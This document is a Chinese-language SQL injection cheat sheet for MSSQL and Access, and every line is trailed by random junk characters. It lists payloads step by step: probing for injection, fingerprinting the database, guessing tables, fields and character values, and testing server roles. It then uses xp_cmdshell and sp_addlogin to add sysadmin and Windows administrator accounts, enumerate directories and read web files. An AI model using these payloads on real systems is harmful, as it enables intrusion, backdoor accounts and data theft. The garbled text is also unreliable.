1.判断是否有注入;and 1=1 ;and 1=2 7-A2_!_x{
2.初步判断是否是mssql ;and user>0 8cQ'dL`(
t`QENXA}
3.注入参数是字符'and [查询条件] and ''=' Bbp|!+KP{(
q cno^8R
4.搜索时没过滤参数的'and [查询条件] and '%25'=' LH6vLuf
=BrRYA
5.判断数据库系统 K>
e7pu
>R=|Wo`Ri
;and (select count(*) from sysobjects)>0 mssql FiU#T.`9'
3gf1ownC
;and (select count(*) from msysobjects)>0 access Z6m)tZVM
?@8[e9lLD
:v 4]D4\o
paMa+jhQQ
6.猜数据库 ;and (select Count(*) from [数据库名])>0 FgO)DQm
_vZOZKS+
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 LgYq.>Nl9
$od7;%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 T9& 1VW
nj4/#W
9.(1)猜字段的ascii值(access) dqAw5[qMJ
eDB ;cN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 -{A<.a3P}=
J8D,ZfPN`d
(2)猜字段的ascii值(mssql) o" SMbj
GKCroyor
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9!tW.pK5
\j.:3Xr
10.测试权限结构(mssql) tg/H2p^Y
F1hHe<)
h7@6T+#WoT
A)~6Im
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- B-ESFATc
"w_aM7x_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- i?;Kq~,
YbLW/E\T
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- v8DC21pb
y?!"6t7&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4.(4x&
*|l/6!WM
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- CQ2jP
G*py
<7$1kGlA
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^}C\zW
jqkqZF
;and 1=(select IS_MEMBER('db_owner'));-- 8EEuv-aeo
F5#YOck&,
&?RQZHtg
"h ^Z
11.添加mssql和系统的帐户 aN=B]{!
tI{_y
;exec master.dbo.sp_addlogin username;-- y!%CffF2
;exec master.dbo.sp_password null,username,password;-- ?hM64jI|
/Q )\ +
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- j~QwV='S
Qei"'~1a
;exec master.dbo.xp_cmdshell 'net user username password { "E\Jcjl\
RGX=)
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- "*H`HRi4T
h7 I{
4
;exec master.dbo.xp_cmdshell 'net user username password /add';-- E!AE4B1bd
u]gxFG"
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- u2[w#
kNL\m[W8$
0?M:6zf_iv
[8*)8jP3
12.(1)遍历目录 ]cruF#`%
3BLq CZ
;create table dirs(paths varchar(100), id int) M@ZI\
KG5>]_GH
;insert dirs exec master.dbo.xp_dirtree 'c:\' ]s748+
lHIM}~#;nd
;and (select top 1 paths from dirs)>0 9k=3u;$v
v9UD%@tZ
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) :j`sr
~v"L!=~G;a
1i] ^{;]
ZAf7Tz\U
(2)遍历目录 fxIf|9Qi`
sNwI0o
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- snikn&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 i 3SHg\~Z
2:=
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,v&(Y Od
4Z,!zFS$`
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 _-F s#f8
f
V( J|
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 x3krbUlx
4H<lm*!^
gzg_>2Sj
dq[xwRU1
13.mssql中的存储过程 rXU\
DFTyMB1H
xp_regenumvalues 注册表根键, 子键 \^%}M!tan
<